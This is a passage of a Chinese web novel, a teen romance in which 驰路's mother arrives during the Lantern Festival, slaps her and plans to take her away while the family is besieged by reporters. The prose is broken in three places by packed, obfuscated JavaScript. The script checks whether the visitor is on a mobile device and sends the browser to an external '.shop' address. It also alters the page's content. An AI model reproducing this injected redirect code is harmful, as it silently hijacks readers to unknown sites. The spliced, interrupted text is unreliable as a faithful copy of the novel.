d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560801|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯,会把花出去的每笔账都记在手机里,也会把三年内要花的钱算出来,包括看病的备用金。 烟花不便宜,钱要省着用。 他的蝴蝶,值得拥有好的一切,但他现在没法给。 夜晚的静心湖畔,星辰环绕月亮,草木拥抱山河,驰路站在谢劲舟身边,脑袋靠在他的肩上,手上拿着两根仙女棒,一个星星形状的,一个爱心形状的。 谢劲舟掏出复古金属打火机,打火机上刻有半边翅膀,是驰路送他的那个,他一直随身携带。 他为她点燃仙女棒,滋的一下,火光乍现,照亮两人的侧脸,他们相视一笑。 焰火的光芒在两人的脸上跳跃,他们都笑着,笑容干净得像个孩子。 谢劲舟一手拿着仙女棒,一手揽住驰路的肩,把她搂在怀里。 之前,他的人生寸草不生,驰路是一把火种,燃烧了他一整片荒原。 假如,这个世界是本诗集,驰路便是诗行,每一行他都要放在心上,永世不忘。 蝴蝶落入他的世界,他这艘船,在海面即将冰冻之前,终于靠岸。 * 都说美好的时光流逝快,在静心小屋整整待了十五天,倏忽而过。 下山那天是元宵节,家家户户的门前都挂满了红灯笼,贴着红对联,每家每户的厨房都冒出热气,各种香味溢出,汤圆的、面条的、年糕的…… 不远处传来热闹的敲锣打鼓的声音,像是在迎亲。 驰路坐在谢劲舟摩托车的后座上,往右探出脑袋,喜庆的一片红映入眼帘,红衣服的人,红衣服的龙,是舞狮队的,去了一家,再去第二家。 摩托车快开到舞狮队旁时,驰路掐了掐谢劲舟的腰,让他停车。 “干吗?”谢劲舟抬起护目镜问驰路。 驰路下了车,跟谢劲舟说:“我想看看。” 其实,她在蓝城,逢年过节看过不少舞龙舞狮的,之前看一眼就走,没觉得有什么稀罕的。 不知为何,现在的心境变了,她想凑一份热闹,好像这样,年味儿才够足。 谢劲舟这次回去是要跟谢奶奶、谢林乔团聚,一家人在一起过元宵。 他想提前回去买点菜,这次他来掌勺,给她们做一顿好吃的。 奈何昨晚他跟驰路干柴烈火、缠绵多次,早上便起晚了。 时间不早了,但他的蝴蝶想看舞狮子,他也不能不让啊。 谢劲舟跟驰路说:“这些舞狮子的,其实就是要钱的。” 舞狮子的难得见有驰路这样主动上前来看的观众,非常有眼力见地到她面前表演,时而甩头,时而摆尾,又时而跳跃,动作灵活敏捷。 驰路干脆摘下头盔,边拿出手机拍视频,边津津有味地看着。 这场演出短得只有一分钟,最前面敲锣的人停止敲锣,走到驰路面前,从上衣口袋里掏出一面铜盆,轻飘飘的,里面的铜色被磨没了,露出银色,一看就不是什么好货。 驰路知道这人想要钱,但她没带现金,问眼前头上裹着三角头巾的妇人:“能微信支付吗?” 妇人翻转过盘子,背面贴着微信、支付宝的二维码。 驰路看了不禁笑了,出来讨生活的,也与时俱进啊。 她正拿出手机要扫码时,忽然一顿,拉过站在一旁的谢劲舟,问这位妇人:“他来舞,我多给点。” 妇人跟着舞狮队跑了一家又一家,钱不给的是大多数,还遭受到无数的冷眼,有的人家甚至远远听到他们的声音就把院墙门给关上了。 遇到送上门给钱的,她自然不会放过这次机会。 妇人走到舞狮的人面前,跟他们说了几句,朝谢劲舟招手:“来吧。” 谢劲舟动也没动,双手插兜,痞气十足地站在驰路身旁。 “舟哥,去吧。”驰路推着他往前走。 “不去。”他才不会做这种丢人的事,要不然他谢大佬的脸往哪里放。 85. 我不会再让你受伤 「亲人存在的意义是什么? 是你一无所有时做你的岸,还是你落魄不堪时做你的港湾? 我的家人没那么慷慨,也没那么伟大。 他们给了我生命,却也给了我别离。 我想努力跟生活顶撞,也许最后仍逃不过命运。」 ——《小蝴蝶的自由》 驰路发现推不动谢劲舟了,踮起脚尖,在他耳边说了句什么,只见谢劲舟勾了勾唇角,朝舞狮子那儿走过去,接过狮头,听旁边的大叔讲舞狮子的方法。 谢劲舟听完还先练习了几遍。 “别拍。”谢劲舟套上狮头前,跟驰路说。 驰路说:“拍下来,等我们老了,还能拿出来看看。” 随她吧。 敲锣打鼓的声音有节奏地响起,开始了舞狮子,最前面的那个少年,双手举起狮头,抬起一条腿,开始了舞狮表演。 各家各户听到了这边的热闹声响,都纷纷探身瞧发生了什么,就连之前关着院门的也开了院门。 驰路看着笨手笨脚舞狮子的谢劲舟,忍不住想笑,但这人要面子,她生生把笑意憋了回去。 她拿出手机录视频,录下属于第一次给她舞狮子的谢劲舟。 方才,驰路在谢劲舟耳边低语的那句话是:“舟哥,为你的蝴蝶,热闹一次。” 不要收费便能看的演出,让原本闭户的人纷纷出来围观。 “我艹,这不是咱舟爷吗!”人群里传来一声拔高的公鸭嗓。 驰路看去,是穿着一身红色羽绒服的罗子昂,配上他又酷又中二的刺猬头,莫名有种喜感。 “奶奶,快看,那是不是阿驰姐姐。”一道软糯的小孩声音穿透人群响起。 驰路朝声音的方向看去,穿着红黑拼色羽绒服、黑色卫裤、黑色运动鞋的小姑娘在一个妇人身后探出一颗小脑袋。 驰路朝谢林乔招手,让她过来,叫着她的名字:“小乔。” 谢林乔挤过人群,后面还拽着一个人,是谢奶奶,穿着一件酒红色羽绒服,两边的下摆处绣着对称的典雅兰花。 她们这一身穿的,都是驰路给买的,看着很有年味儿。 “阿驰姐姐。”谢林乔兴奋地跑到驰路面前,头一抬,看到舞狮头的人是自家哥哥,连忙喊:“哥哥!” 谢劲舟也看到了小姑娘,听到她喊“哥哥”,停了一秒才又开始舞起来,舞得比刚才更卖力了。 驰路蹲下来,一手举着手机录谢劲舟的舞狮表演,一手搂着谢林乔的肩膀,问她:“哥哥演得怎么样?” “我哥哥演得最好!”小姑娘的语气里全是得意。 这小姑娘在外人面前特别护自家哥哥。 敲锣打鼓声中,谢劲舟为他的蝴蝶、他的家人演了一出盛大的热闹。 在这场热闹里,驰路看到谢劲舟用唇语对他在意的三个人说:“元宵节快乐!” 又看到他舞到她面前,对着她的手机镜头,轻声说了句:“阿驰,我喜欢你!” 头顶是芳町镇高悬的暖阳,耳边是充满年味的敲鼓声响。 她的神明满足了她的愿望,从此,阳光万丈,心间开花。 晨昏相依的人间,是变幻莫测的冬天,也是炽热又一往无前的少年。 * 谢劲舟的声音很轻,却透着前所未有的笃定。 驰路听时的心境,跟他们在静心小屋时完全不同。 静心小屋,是他们的避难所、桃花源,但芳町镇却能把他们一下子拉回现实。 她知道,谢鸿运会是他们之间不可避免的阻碍,是一枚惊雷,不知什么时候就会炸响。 刚想到这儿,锣鼓声停了,远远传来一道声音,像穿越了光阴,直击驰路的耳膜。 声音柔媚,又带着点沙沙的质感。 很特别的女声。 驰路一下子分辨出来,是路女士路漫的声音。 这是现实,还是一场梦? 驰路朝来人看去,透过人群,她看到一个穿着时尚套装的摩登女人朝她走来,摩登女人染了红棕色的长卷发,戴着墨镜,脖子上戴着一条翡翠项链,手腕上挎着名牌包包,脚上踩着一双细高跟,一看就是从大城市来的时髦女人。 这女人看着熟悉,又看着有些陌生。 是她妈妈吗? 驰路有瞬间的愣神,她妈没有一头红棕色的长卷发,穿得也没有这么时髦,也不会露富到刻意把珍贵的翡翠项链放在衣服外面。 这个女人迈着婀娜的步子朝她身边走来,她的身旁还跟着一个高大帅气的男人,也戴着一副墨镜,看上去比这个女人要年轻不少。 人群为两人开道,两人往驰路走去时,像明星在走红地毯,天造地设的一对。 是路女士没错,那双隐在墨镜下的丹凤眼骗不了人。 她为什么要来? * 直到路女士到了栾花巷32号时,驰路还没怎么缓过神,并肩跟谢劲舟走在路漫和那个路女士介绍的李姓男士后面。 路女士一路跟谢奶奶谈笑风生,讲她过来是有多难,是有多放心不下驰路,还特别客套地问谢奶奶身体怎么样。 谢奶奶对于路漫的事多少有所耳闻,并没有给她多好的脸色,基本是路漫问一句,她回一句。 谁对驰路好,谁对驰路不好,谢奶奶心里跟明镜似的。 驰路没进屋,问谢劲舟要了一根烟,点燃。 李姓男士全名是李浦,比路漫小15岁,驰路算了算,也就25岁,比她大7岁。 她没跟他打招呼,哪怕他挥手跟她打招呼,她也视而不见。 路漫跟她说:“怎么没点礼貌!叫李叔叔。” 呵!李叔叔??? 一声哥,她都懒得叫。 驰路始终没叫李浦,也没再去看他,视他为空气。 偏偏这人没有一点眼力见儿,她越是不想理他,他还偏偏凑上来跟她套近乎。 “阿驰,听你妈妈说,你的成绩很好啊,考个北大清华不是问题哦!”李浦走到她身旁,笑着看驰路。 驰路继续抽着烟,没看他一眼,将烟夹在纤细的手指间,稍稍踮脚,旁若无人地吻上了谢劲舟的唇。 谢劲舟没想到他的蝴蝶,现在竟如此放肆,不由得一怔。 没等他回神,驰路已经从他唇上移开,他的唇上满是她的味道,有清甜,也有冷冽的烟味。 “你看我这样,像能考上北大清华的?”驰路朝李浦的脸上吐了一大口烟圈,烟雾太浓,呛得李浦咳嗽几声。 路漫在网上看到过驰路跟谢劲舟的传闻,刚才跟谢奶奶聊天时,余光看到了驰路吻谢劲舟的画面,才让她确定网上的不是传闻,而是事实。 她还在抽烟,抽了烟,竟然吐李浦的脸上!!! 她好像又回到了从前,变成了那个痞气张狂的叛逆少女。 路漫以为她在好好学习,好好做模特,没想到她竟成这副德行,吻谢劲舟也就罢了,竟还勾引自己的男人,顿时怒火中烧。 路漫疾步走到驰路面前,抬手朝她脸上甩了一巴掌,力道之大,打得驰路脑袋往旁边一歪,脸颊瞬间袭上疼意,耳朵嗡嗡作响。 驰路还没反应过来,正下意识地捂着脸。 路漫举在半空中的手,又要朝她的脑袋上甩去,谢劲舟见状,立刻抓住她的手腕,厉色道:“路阿姨,你凭什么动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她怎么也没想到,这才没过多久,事情会演变到如今这种地步,心间如针扎,细细密密地戳着。 “孩子她妈,这大过年的,有什么不能好好说,非要动手。”谢奶奶看不下去了,走过来跟路女士说。 “行,这次就看在谢奶奶的面子上,我饶了你,下次再让我看到你抽烟,看我怎么教训你!”路漫咬牙跟驰路说。 “怕不是因为我抽烟吧。”路漫的那点小心思,驰路懂,她爱她的小男友爱得不行,如果被她看到她刚才往她小男友脸上吐烟,会认为她行为不端,自然会生气。 路漫拽起李浦的手,靠在他的怀里,完美演绎什么叫“撒狗粮”。 路漫变脸极快,看着谢奶奶提着菜往厨房走,跟过去问有没有什么需要帮忙的,还指着院子里摆的一堆大盒小盒说:“谢奶奶,谢谢你这段时间对我们阿驰的照顾,这是我们的一点心意,还请您收下啊。” 谢奶奶拎着菜走到厨房门口,转头看向那一堆高档礼盒,跟路女士说:“你都拿走,我不需要。” 路漫向来心高气傲,在谢奶奶这儿吃了闭门羹,脸上的笑容有些僵住,看着谢奶奶把鸡蛋、肉、菜从菜篮里拿出来,象征性地说:“谢奶奶,有没有需要帮忙的?” “你出去吧。”谢奶奶还想说点不客气的话,但终究没说。 中午的饭很丰盛,谢奶奶做了拿手的烙饼,煮了汤圆,谢劲舟负责其他菜,摆了满满一桌。 路漫、李浦也在,这顿饭吃得极其尴尬,桌上开口说话的唯有路漫,谢奶奶象征性地接两句,一冷场,李浦便出来热场子,弄得他像个主人。 驰路、谢劲舟、谢林乔全程黑着脸,不发一言。 饭后,驰路把路漫拉到二楼的卧室问她过来干什么,路女士说:“我来看看自己的女儿,还不行?” “妈,你现在看完了,是吧。”驰路背靠书桌,拉开抽屉,从里面拿出一包烟,抖出一根,“可以走了。” “阿驰,妈妈这次来,是要把你带走。” 驰路夹在手指间的烟倏忽落地。 86. 要如何穿越迷雾 「我想在颠沛流离的人间暴烈地爱你一场, 但你只是我人生旅途中的一个偏旁。 爱是奢望,我的追逐只能落下,跟夕阳一样。 小蝴蝶,你记住了,我爱你,比任何人都爱。」 ——《神明降临》 外面传来一阵吵吵嚷嚷的声音,驰路听出来了是谢鸿运的,也夹杂着别人的,谢鸿运的声音大到像扩音器,可以传到七里八乡。 这声音再次为驰路烦躁的心添砖加瓦,她把抽完的烟戳进烟灰缸里,用力拧了几下,转身去往阳台。 驰路走到阳台,看到楼下闹哄哄的一幕时,立马退了房间。 “谁啊,这么吵。”路漫倚靠在阳台栏杆处,往下看,看到一堆人扛着长枪短炮,进了院门,有的手里还拿着话筒,正在采访一个走路有些坡的男人。 过了这么多年,再次见到谢鸿运,路漫只觉时过境迁、物是人非。 在她十八岁那年,跟他有过一段短暂的邂逅,那段邂逅,让她知道什么叫刻骨铭心。 他说一句永远,她就以为那是爱的全部定义。 那时的谢鸿运意气风发、帅气难挡,现在呢,看起来比他的实际年龄要老,头发油腻,衣着邋遢,脚上穿着的那双黑色棉鞋脏得泛白。 面对记者们的采访,他一一回答,他们问驰路是不是欠下巨债,他说:“可不是吗。”他们问驰路是不是在被高利贷追杀,他说:“是啊。”他们问驰路有没有被他儿子包养,他说:“好像有这么一回事。” 句句都在把驰路往深渊里拖。 路漫听得心里直蹿火,大声朝谢鸿运吼:“你这个不要脸的东西,乱说什么!” 谢鸿运一抬头,看到了美得不可方物的路漫,此刻她满脸怒容。 他不怒反笑地朝路漫抛了个眉眼,龇开他的黄牙,笑着跟她说:“漫漫,你来啦。” 路漫看到了从厅堂里走出来的李浦,先是瞧了瞧谢鸿运,继而再抬头看她,目光冷冽似冰,再无往日的温存。 路漫知道大事不妙,踩着她那双恨天高,蹬蹬蹬地往外跑,跑到卧室门边,看着正靠在桌前抽烟的驰路说:“阿驰,你也看到了,这里你待不下去了,赶紧收拾收拾东西,明天走。” 她走到驰路身边,摸了摸她的脸:“阿驰,离开这里你会有更好的发展,你能摆脱谢鸿运这种人,摆脱他的贪婪,远离那帮高利贷的人。妈妈不希望你在这里受苦,妈妈希望你有更好的未来。李浦有很多媒体、影视资源,你跟着我们去江城,我们会给你最好的一切。” * 高跟鞋的声音越来越远,却在驰路的耳边好像越来越响,她听得一阵心烦意乱,走到门边,啪地用力关上门。 外面的声音越来越吵闹,有谢鸿运的、记者的,还有谢劲舟的、谢奶奶的,所有的声音都交织成网,似要将她死死缠住,让她无法呼吸。 刚才谢鸿运回答记者的话,她都听见了,无疑是要堵死她模特生涯这条路。 口碑烂透,什么模特生涯,什么要考电影学院学表演,都是一场奢望。 手里的烟燃烧着,烟雾笼了她一脸。 她在烟雾里,像一缕孤魂。 驰路再次体会心一点点往下坠的感觉,像在空中飞翔的热气球忽然憋了,从高空下坠。 她浑身的力气似乎都被抽走,无力地背靠门,慢慢往下滑,直到蹲在地上。 此刻发生的一切,在她对未来迷茫的心理上继续加码,继续把她往外推。 真的要离开芳町镇了吗? 如果要离开芳町镇,她跟谢劲舟呢? 难道蝴蝶就不能跟她的神明,穿越迷雾,将爱意写尽吗? …… 驰路不知道楼下的吵闹声什么时候停息的,不知道窗外的天色什么时候黑下去的,也不知道何时下起了雨夹雪。 当她听到咚咚咚的敲门声时,还蹲在地上,蹲得腿都麻了,也全然不在意。 敲门声还在响着,驰路却置若罔闻。 这期间,她想了很多,一个想法冒出来又被另一个想法取代,循环往复,她感到脑袋都要炸了。 “阿驰,是我。”外面传来低沉的男声。 驰路飘忽游移的心思瞬间被拉回来,仿佛找到了某个支点,她刚想站起来,却发现腿麻了,揉了揉小腿肚,想站起来,却又停住。 很想扑进谢劲舟的怀里,很想跟他抱很久很久,但她不能。 “舟哥,我想一个人静静,你走吧。”驰路发出的声音有点哑,好听的金属嗓音听起来有些无力。 谢劲舟听出了驰路的情绪低落,拧门想要进来,却发现推不动。 “阿驰,开开门,我不想让你一个人。” 驰路听到这话,所有挤压在心头的情绪瞬间涌出来,想努力不见他的想法彻底崩塌。 她缓缓站起来,转身开门,门刚被开了一条缝隙,便被谢劲舟从外面推开,走进来,反手关上,一把搂住驰路的腰,俯身狠狠吻她的唇,舌头灵活地探入她的唇齿间。 她被迫地迎接谢劲舟疾风骤雨般的吻,呼吸紊乱,浑身颤栗,所有杂乱的想法全都消弭,每个细胞都被他的狂热占据。 他的呼吸滚烫,将她吻了又吻,夺去她所有的呼吸,吻得她快要窒息。 他的手从她的腰移到她的后脑勺,再穿过她的发丝,迫使她仰头,承受他热烈的吻。 这次吻的时间,比任何一次都要久,比任何一次都要激烈,吻到最后,她听到谢劲舟说:“驰宝,我爱你。” 我比任何人都爱你。 喜欢说过几次,却是第一次说爱。 爱是浪潮,将她掩埋,却也是山海,将她阻隔。 她好像看见,阳光从裂缝中洒落,也好像看见,蝴蝶伸展开了破碎的翅膀,摇摇欲坠地朝高空飞去。 她不是一个人,她还拥有一颗不落的宇宙。 * 傍晚时分,天边没有落日晚霞,只有大片的乌云连成片,雨水混着雪花斜斜地飘进阳台。 驰路坐在阳台处的藤椅上,望着朦胧的雨幕,给远在法国的老爸打电话,电话不是他接的,而是一个女人接的。 她应该就是驰岸口中说的,老爸找的新女友吧。 无所谓了,他找不找,跟她没关系,只要她对驰岸好就行。 “您好,我找驰荣。”驰路蜷着腿蹲坐在藤椅上,一片雪花飘落到她的脚踝上,落在了脚踝处的蝴蝶文身上。 “稍等。”女人礼貌地回。 过了好一会儿,电话那头才传来驰荣的声音:“阿驰啊,想爸爸啦?” “爸,妈要带我回去。”驰路坦言。 她想听听看老爸有什么想法,结果,他果断利落道:“阿驰,你妈妈能带你回去,你就回去,你不可能一直待在那个芳什么镇的,走出去,走到大城市,你才能有更好的发展。” 驰路的心没有起什么波澜,在打电话前,她就知道老爸会跟她说什么,她只是想要一个肯定的答案。 “爸,我知道了。”驰路跟驰荣寒暄几句,挂了电话,她望着蒙蒙雨幕,心像天色一样灰。 手机振动了两下,驰路划开屏幕,看到路漫发的信息:阿驰,妈妈的建议,你好好考虑下。 半晌,驰路给路漫回复:妈,我回去可以,不过,你要答应我三个条件。 …… 驰路在阳台上坐了很久,雨水把她的袜子、裤腿打湿,她也全然不顾。 直到谢劲舟喊她下楼吃饭,看到了她一副魂不守舍的样子,把她抱进屋里,让她坐在床上,蹲在她面前,抹掉她脚踝处文身上的水珠,看着她失了神的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560803|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“阿驰,你做什么选择都行,我不会怪你。” 蝴蝶圈是圈不住的,该飞走,终究会飞走。 驰路的手机振动个不停,两人都齐齐看过去,是许婉发过来的信息,一眼扫过去,都是关于今天谢鸿运确定的言词,都是驰路的负面新闻。 人真是为了钱,什么事都能干出来。 身为赌徒的谢鸿运,算是找到了赚钱新门道。 他的新门道,堵死了她的模特路。 蓝姐下午给她打电话,不再做她的经纪人,跟公司的合同她想解就解,完全是一副“你已经没有价值”的态度。 她幻想的美好蓝图,似吹出来的五彩泡泡,没飞多久,就破灭了。 * 晚餐依旧很丰富,桌上五个人,四人吃得食不知味,各怀心事,唯有谢鸿运吃得津津有味,吃饭时发出扰人的吧唧嘴的响声。 他丝毫没有觉得自己引来记者是件什么坏事,他接受他们采访,拿了他们给的钱,理所应当。 此时,还恬不知耻地看向驰路,咧嘴,露出大黄牙:“阿驰啊,叔叔又要让你火一把了,是不是要对叔叔有所表示啊?” 脸上露出一副问人要钱的不知廉耻的神色。 驰路手中的筷子一顿,抬眸看谢鸿运,眼神锋利如刃。 “欸,你怎么这么看我?”谢鸿运故作不理解。 把她名声搞臭,让她无路可走,就是所谓的“火一把”?还想讹她的钱?黑红是种红,但常常黑红,口碑只会烂透,以后还有谁敢找她。 啪的一声,发出脆响。 驰路朝声源看去,谢劲舟一张痞帅的脸冷得不像话,眸子沉得厉害,瞪着谢鸿运,冷声道:“谢鸿运,你给我滚!” 声音大到吓了谢鸿运一跳,刚要塞嘴里的肉块啪嗒落地。 谢奶奶知道他俩只要在一起,就很容易发生争执,吃饭前还多次嘱咐,让谢鸿运别说话,但他偏偏哪壶不开提哪壶。 谢鸿运也就愣了几秒,很快咧嘴笑:“这是老子的家,老子就不走!”一副老赖模样,拿起筷子又想夹肉。 谢劲舟从他手里夺过筷子,狠狠地摔到地上。 谢林乔心里一跳,彻底没法吃下去了,看着地上两根滚远的筷子,皱起眉头。 驰路实在看不去了,拉过谢劲舟的手,用拇指轻轻抚着他的手背,轻声说:“舟哥,不要这样。我没事。” 谢鸿运刚喝了一杯酒,本就酒意上头,被谢劲舟一激,怒气上涌,腾地站起来,指着谢劲舟的鼻子骂:“你这个混账玩意儿,白眼狼,老子白养你18年了,你不是参加各地的赛车比赛吗,不是拿了不少奖金吗,有给过老子一次吗,你就不知道回报一次?现在还扔老子的筷子,你还是不是人!你的良心被狗吃了!” 谢劲舟眼神里全是冷冽锋芒,直直地盯着谢鸿运。 气氛压抑到极点、冷到极点,让驰路感到一阵窒息。 再这样下去,驰路知道免不了动手,他俩谁都不会让着谁,脾气上来了,一点就着。 驰路拉起谢劲舟的手,想把他往外拽,他却丝毫不动。 “怎么,你这么看我,是要打老子吗?”谢鸿运被谢劲舟瞪得心里打鼓,却偏要用大声说话来占据主动权,“有本事你来打啊,你以为老子怕你吗!” 他却不知道,他的叫嚣只是壮了他的胆,并没有吓到谢劲舟。 谢奶奶气得心头泛疼,捂住胸口缓了缓后,站起来把谢鸿运往外拽,边拽边说:“你给我少说几句!” 谢鸿运拖着他那条坡了的右腿,一高一低地往外走,边走边还在骂骂咧咧。 谢劲舟有揍人的心,被驰路抚摸的手不自觉握成了拳。 “舟哥,带我出去兜兜风吧。” 声音很轻,落在这残碎的人间,像一阵轻飘飘的风。 87. 彻底乱了分寸 「还记得第一天来芳町镇,很不情愿,还遇到了灾难源。 谁知道这个灾难源,以后会成为我的救世主,还成为我的男朋友。 男朋友,我要离开了。 对不起,不能跟你一起看初雪了。」 ——《小蝴蝶的自由》 外面的雨夹雪停了,谢劲舟骑着他的深蓝色摩托车,带着驰路绕着芳町镇骑了一圈又一圈,穿过一条条熟悉的街道。 风扬起他的衣摆,他是风中疾驰的少年。 天色还是灰的,驰路的心也仿佛被灰调笼着,一股难言的涩感挤满胸腔。 路漫说的话在她脑中不停回响。 “阿驰,离开这里你会有更好的发展,你能摆脱谢鸿运这种人,摆脱他的贪婪,远离那帮高利贷的人。妈妈不希望你在这里受苦,妈妈希望你有更好的未来。李浦有很多媒体、影视资源,你跟着我们去江城,我们会给你最好的一切。” 她紧紧地拥着谢劲舟,把脑袋靠在他的后背上,就一直一直望着他的后脑勺,看着他隐在头盔后面露出的一点雾霾蓝的头发,从衣领处露出来的一截脖颈。 她想记住他,记住骑摩托车意气风发的少年。 世界如火车驶过时轰鸣嘈杂,她在这一方小空间里,寻得短暂的安宁。 如果有什么需要重构,她希望,他的神明,从诞生起,能跟她落入同一片海洋。 海域不同,终究要各回各的海域。 她心里涌起一股强烈的酸涩,压迫着她的心脏,一阵一阵地发疼。 很想哭,却怎么也哭不出来。 …… 驰路洗完澡,已过十点,谢劲舟屋里的灯已经关了。 她知道,谢林乔睡着了,谢劲舟不知去了哪里,还没回来。 她穿上了自己最喜欢的那件黑色缎面吊带睡裙,外面套了黑色桑蚕丝外套,露出纤长白皙的腿。 冬天的方町镇虽然有暖气,但暖气不足,她又穿得少,便开了空调,空调的风呼呼地吹着,吹得她的脸泛出一层薄薄的胭脂红。 驰路对着镜子抹完护肤品,拿出黑色蝴蝶颈链戴上,又戴上银色蝴蝶耳挂,最后在唇上抹上酒红色的口红。 镜子里的她,妖艳妩媚,一双丹凤眼只要轻轻往上一挑,便风情万种。 她长得过于有特色,典型的美人胚子,浑身都闪着璀璨的光,仿佛天生就该在聚光灯下。 从没想过要众星捧月,或是万人瞩目,但当她越来越多地出现在杂志封面上,被更多人钦羡时,她觉得自己像踩在云端,整个人都轻飘飘的。 那是被认可、被仰慕的感觉,身陷其中,渴望长久。 只是,美好总过于短暂,轻易破碎。 她的星途,还能走下去吗? 离开方町镇就有东山再起的机会? 她躺在床上,卷起被子,盖住自己,连脑袋都被盖住。 她在黑暗里待了很久很久,久到没法呼吸,久到外面下起了新年的第一场雪。 驰路探出被窝时,脸颊被闷得绯红。 她大口喘了几口气,缓过劲后,摸到枕头旁的手机,翻到跟路女士的聊天界面,给她发过去一条信息:妈,明天跟你回去。 * 谢劲舟开着他的摩托车回来时,已是深夜,外面还在飘雪。 到栾花巷32号时,院子的围墙上、院子里的树上、地上都铺了一层薄薄的雪。 他照例在快到时下车,把摩托车推到院子里,车辙压过薄雪,留下一串蜿蜒曲折的痕。 停好摩托车,谢劲舟想往厅堂走,很快停住脚步,仰头望着纷纷扬扬飘下来的雪花,想起驰路跟他说:“在蓝城基本都不下雪,什么时候能下雪啊。要是下雪了,逃课也要跟你一起去看雪。” 他问她为什么,她说,初雪那天在一起的人,许个愿,就会实现。 她想许什么愿? 跟他长久的愿吗? 谢劲舟伸手,雪花一片一片地落在他的掌心,须臾又化为水珠,沿着他掌心的纹路逐渐蔓延。 他捡起一根树枝,找出一片尚未被踩过的干净雪地,在上面一笔一划地写下两行字。 雪越下越大,落在字上,字渐渐变得模糊。 他在雪地里站了很久,肩膀上落了一层又一层雪花,雪花化成水,弄湿他的皮夹克。 谁都不知道,在这样的暗夜里,他写下了不为人知的句子。 一字一句,写得那么认真、那么诚恳,仿佛一场神圣的祈福。 “我的蝴蝶,你是世界送我的盛大贺礼。” “蝴蝶是自由的,希望你也是。” “我爱你!” 可是,再多的爱,也终究会被大雪覆盖。 …… 谢劲舟洗完热水澡回房时,刚轻轻带上门,一转头,便看到自己的床上多了一个人。 没盖被子,侧身而卧,一身黑衣、黑发,几乎整个人都融在了黑暗里。 只有手腕、脚腕露出白皙的肌肤,在暗色中格外醒目。 他的心猛然被什么牵动,原本在雪地里做好的心理建设,此刻全部坍塌。 他几乎是跑到了床边,但很快又停住,看着躺在床上的驰路,像在看一场梦境。 谢劲舟探手,想摸她的肩膀,手却有点颤颤巍巍,许久都没落下。 直到落下的那刻,才终于找到一点实感。 这不是梦,她又因梦游症,来到了他的房间。 谢劲舟悄悄地躺在她的左侧,帮她盖上被子,指腹掠过她绸缎般丝滑的睡衣,掠过她纤细的腰肢、瘦薄的肩膀。 肩膀处的睡衣滑落,连同里面的吊带也滑落到肩头。 谢劲舟刚想帮她把吊带拉上去,驰路却抬手、抬腿将他团团缠住,身体也无缝地跟他贴着,宛若水草,似要将他缠得密不透风。 原本凉下去的身体,热度瞬间上升。 他克制身体里的那团火焰,望着眼前的驰路。 她竟然化了烟熏妆,涂了口红,戴了耳挂、颈链,就连手指甲上都贴了新的蝴蝶贴片。 她不化妆时,美得清纯;画烟熏妆时,像换了一个人,妩媚得能勾人魂魄。 体内的火焰熊熊燃烧,伴随着一种好像随时要离别的苦痛。 谢劲舟沿着她的脸颊一点点勾画,画出她漂亮的轮廓,又一遍遍抚着她右眼尾的胭脂痣,最后落在她的唇上,轻轻碾磨着。 起初,她没有一点动静,渐渐地,她扭动身体,往他怀里钻,嘴巴靠得他很近,两人的鼻尖几乎抵在一起,呼吸相融,凌乱交错。 她又靠近了一点,嘴唇撞上他的,含着一股熟悉的玫瑰香气,还有温热的气息。 柔软相抵,像一朵云遇见另一朵云的浪漫博弈。 阵地被人占领,心动加急。 逼着他要将爱意散尽。 谢劲舟的血液奔腾千里。 他彻底乱了分寸。 …… 谢劲舟把驰路打横抱到了她的房间,她依然没醒,他像一头暗夜里冲出来的野兽,狠命地吻她。 驰路朦朦胧胧间发现有人在吻她的唇,她知道这是一场梦,梦里有谢劲舟。 他们是彼此的念念不忘,也是彼此坚定不移的航向。 不问前程,不看来路,只看今夜玫瑰花有没有绽放。 他们把喜欢做全,将热烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她走到穿衣镜前,看到自己的睡衣完好无缺,但嘴唇上的口红几乎没了,只剩下一点点嵌在唇纹里,脖颈处似有吻痕,那么那么浅,像蚊子咬的,也很像每次谢劲舟克制时对她留下的痕迹。 每次温存时,他总喜欢在她身上各处留下大大小小的痕迹,他总喜欢说:“这是证明,我喜欢你的证明,也是你属于我的证明。” 她喜欢他的霸道,喜欢被他占有。 她是他的,他也是她的。 他们是彼此无可救药的浪漫。 昨夜种种,绮梦一场,了无痕迹。 驰路很快整理完行李箱,看着还是满满当当的衣橱,苦笑一下。 就算是自己的东西,有时也很难带走。 她挑了些自己很喜欢的衣服,整理好装进了行李箱,鞋子她不打算带走,但有一双鞋是必须要带走的。 那是谢奶奶给她亲手做的布鞋,平底,上面绣着几只蝴蝶,驰路一次没舍得穿过,像宝贝似的供着。 她还记得谢奶奶给她的那天,是一个很平常的夜晚,她刚洗完澡吹完头发,倚靠在二楼的阳台上透气,谢奶奶在一楼招呼她下来。 她来到谢奶奶住的小屋,谢奶奶拉着她的手,坐到床边,从身后拿出来一双鞋子:“阿驰,鞋子奶奶做好了,款式不知道你喜不喜欢,小谢说,你喜欢蝴蝶,我就绣了几只蝴蝶。” 